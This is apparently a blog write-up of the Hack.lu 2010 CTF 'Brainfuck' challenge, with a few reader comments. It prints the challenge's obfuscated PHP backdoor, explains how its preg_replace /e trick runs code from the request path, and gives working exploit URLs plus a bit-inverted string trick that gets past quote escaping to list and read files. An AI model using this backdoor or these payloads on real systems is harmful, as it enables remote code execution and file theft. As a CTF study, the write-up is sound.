Hack.lu 2010 CTF #17 (Brainfuck) writeup

You found a backdoor on Captain Brainfuck’s webspace. Exploit it and read his secret file!

The page only says ‘happy hacking’, so what would we be doing without its source… [source mirror]

“Source” in fact is a zip archive with php code appended:

PK <..zip binary trash..>
<?php @ob_clean();$z=zip_open(__FILE__);
eval($f=zip_entry_read(zip_read($z),1000));@ob_end_flush();?>

It simply reads itself (the zip part), unpacks and executes it. The packed source is below, edited to be readable:

<?php
/* hacklu ctf*/
class _ {
 public $x = null;
 
 function __construct() {
  $this->x = "r";
 }
 
 function __destruct() {
  @call_user_func("phpinfo()", $x);
 }
}

$omni = "/(?:@[\w-]+\s*\()|(?:]\s*\(\s*[\"!]\s*\w)|";
$t = 1;
$a = preg_replace('/\$/', "", $a = @$_SERVER[PHP_SELF]);
$_ = create_function('$_,$o', '$chr = @unserialize(); 
                                           return ${chr($_−−)};');
$_--;
$l = levenshtein(__DIR__, $a);
$l = new _();
$r = $l->x;
$multi = "(?:<[?%](?:php)?(.*)(?:[?%]>)?)" 
                                . '|(?:;[\s\w|]*\\$\w+\s*=)';
$o = substr($f, 198, 12);
$semi = "|(?:\$\w+\s*=(?:(?:\s*\$?\w+\s*[(;])|";
$semi .= "\s*\".*\"))|" . '(?:;\s*\{\W*\w+\s*\()/';
$_ = ${$_(str_repeat($t, 3), "o" . __METHOD__)}('$omni.' . $multi 
                                  . '.$semi', '$' . $t, __CLASS__ . $a);
printf("%s", die("happy hacking"));
?>

Let’s examine what does this code do. I’ll write some comments on lines that i find non-trivial:

$a = preg_replace(/\$/, “”, $a = @$_SERVER[PHP_SELF]);

Strips all $ chars from $_SERVER[‘PHP_SELF’] and stores it into $a.
$_SERVER[‘PHP_SELF’] contains the script name from query to http server.
For example:
https://213.251.165.94/Brainfuck/login.php
$_SERVER[‘PHP_SELF’] == “/Brainfuck/login.php”
https://213.251.165.94/Brainfuck/login.php/preved
$_SERVER[‘PHP_SELF’] == “/Brainfuck/login.php/preved”, although the executed script is login.php

$_ = create_function(‘$_,$o’, ‘$chr = @unserialize();
                                           return ${chr($_−−)};’);

Defines a new lambda function, that takes two arguments $_, $o and returns the value of variable thats name is character with code of function’s first argument %-)
To simplify, an example: func(65, 0) == $A (because chr(65) == “A”).
Oh, and the lambda func is stored into variable $_

$o = substr($f, 198, 12);

Gets part of string stored in $f, and $f doesn’t have a definition in the code. Hm, strange…
At first I thought it should be assigned via register_globals, but then i looked into original unzip code, and saw this:
eval($f=zip_entry_read(zip_read($z),1000));
So $f is the executing code itself, and $o gets “preg_replace”

Okay, the fun part :)

$_ = ${$_(str_repeat($t, 3), “o” . __METHOD__)}(‘$omni.’ . $multi
                                  . ‘.$semi’, ‘$’ . $t, __CLASS__ . $a)

str_repeat($t, 3) == “111”

“o” . __METHOD__ == “o” (__METHOD__ is empty outside a class)

$_(str_repeat($t, 3), “o” . __METHOD__) == $_(111, “o”) == ${chr(111)} == $o == “preg_replace” (remember our lambda function?)

$_{“preg_replace”}( …. ) is invoking the function preg_replace, so 1st parameter is regexp, 2nd is replacement value and 3rd is target string

1st param == ‘$omni.’ . $multi . ‘.$semi’ == ‘$omni.(?:<[?%](?:php)?(.*)(?:[?%]>)?)|(?:;[\s\w|]*\\$\w+\s*=).$semi’, a regexp that matches for example a string:
omnia<%php12345 and after matching $1 == “12345”

2nd param == ‘$’ . $t == ‘$1’, meaning the first regexp match ($1)

3rd param == __CLASS__ . $a == $a (__CLASS__ is also empty), $a contains $_SERVER[‘PHP_SELF’]

And thanks to E flag ($bla bla bla$sEmi) of regexp, the $1 match gets executed as php code!

Well, putting all of this together, the URL to get arbitrary code executed on the server is:
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpCODE

Let’s try this with phpinfo();: [click] – works brilliantly!
Now let’s get a directory listing. We can’t use system(): safe_mode is On, so we gonna stick to raw php code:
print_r(glob(‘*’))
Oops, a problem! The quotes get escaped and our code doesn’t execute. And we can’t use * without quotes, because it can’t be a name of a constant.

I used an awesome php string trick to overcome this limitation:
1. ~string means a string in which all bits are inverted. E.g. ~”preved” == “\x8F\x8D\x9A\x89\x9A\x9B”
2. BLABLA gets converted into “BLABLA” if constant BLABLA doesn’t exist and name consists of legal chars for constant name: [a-zA-Z0-9_-] and [\x80-\xFF]

When the string consists of basic ascii chars (0-127), it’s negated twin securely consists only of [\x80-\xFF] chars, and will be converted to string even without quotes.

Returning to the task, ‘*’ == ~”\xD5″ == ~%D5

https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpprint_r(glob(~%D5)) does its work:
“Array ( [0] => login.php [1] => login.phps [2] => secretKeyStore )”

You can read the secretKeyStore file without any string tricks:
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpreadfile(secretKeyStore)
“congrats! your key: b12d2dc97ff4f4b52fa7dbdb6210d517

4 comments

Skip to comment form

    • asd on December 23, 2010 at 17:03
    • Reply

    hello, nice post…but i got a question
    is it possible to generate sucha byte that will become a . in the end?

    i mean…its just a game my friend is playing with me… and the . is restricted but needed….

    thank you!

  1. hello,
    is it possible to generate such a bit that will pass an php explode(“.”…) and become a . then?

    • vos on December 29, 2010 at 22:50
      Author
    • Reply

    Hey. If i understood correctly, ~%D1 will give you a “.”

  2. sorry, i didnt know where to put things.
    maybe you wanna have a look here

    http://tasteless.phpnet.us/level_12.php

    great writeup :P

Leave a Reply

Your email address will not be published.